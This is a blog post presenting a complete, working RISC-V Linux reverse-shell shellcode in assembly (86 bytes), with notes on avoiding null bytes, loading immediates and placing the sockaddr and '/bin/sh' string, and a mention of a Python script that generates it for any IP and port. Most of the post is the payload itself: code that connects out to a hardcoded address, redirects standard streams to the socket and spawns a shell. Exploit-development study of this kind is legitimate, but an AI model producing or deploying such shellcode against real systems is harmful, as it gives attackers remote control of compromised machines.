A Naive RISC-V Linux Reverse Shell
Here I want to share a simple script that generates a reverse shell to a given IP address and port. I decided to call it naive—it’s not obfuscated at all and it’s full of ECALL
instructions, which means nulls. This is probably only applicable in situations where there are no badchars at all. On the bright side it’s fairly compact. There are ways the badchar situation could be improved but I think it will depend on the execution context much more than x86. In any case, this is the starting point.
rv-naive-revshell.py — Python 3 generator script
This is the shellcode (86 bytes):
.global _start
.text
_start:
li a0,2 # AF_INET
li a1,1 # SOCK_STREAM
li a2,0 # protocol = 0 for tcp
li a7,198 # socket
ecall
mv t0,a0 # save socket fd to t0
jal a1,get_sa # load sockaddr ptr into a1
connect:
li a2,16 # len(sockaddr) - final 8 bytes are garbage
addi a7,a7,5 # 203 = connect
ecall
li a2,0 # flags
li a1,2 # destination fd 2
li a7,24 # dup3
re_dup3:
mv a0,t0 # specify the socket we want to dup
ecall
addi a1,a1,-1 # decrement fd and continue until <0
bgez a1,re_dup3
jal a0,get_path # load pathname string ptr into a0
execve:
li a1,0 # null argv
li a2,0 # null envp
li a7,221 # execve
ecall
get_path:
jal a0,execve
.ascii "/bin/sh\0"
get_sa:
jal a1,connect
sockaddr:
.byte 0x02, 0x00
.byte 0x11, 0x5c # port
.byte 0x7f, 0x01, 0x01, 0x01 # ip
All of this is very similar to other reverse shells but there are some things to point out:
- RISC-V is flexible for loading small immediate values, including zero. A 6-bit signed number can be loaded into a register using the
C.LI
instruction from the compressed instruction set. This instruction occupies 2 bytes and will never contain any nulls, regardless of which register or immediate value is used. - Pushing large chunks of data onto the stack is tedious and requires a lot of instructions. That is why I included both the shell path and the
struct sockaddr
as binary at the end. - The
get_path
andget_sa
routines are the equivalent of the jmp-call-pop technique to determine the program counter value, except using link registers instead of the stack. - To fit the definition of a
struct sockaddr
it is necessary to specify its length as 16. In practice the memory following the address isn’t relevant for IP so I get away with only defining the first 8 bytes. - It is critical that the binary values at the end are an even number of bytes. If the
.ascii
had only 7 bytes, the followingjal
instruction would be misaligned and it would be impossible to assemble.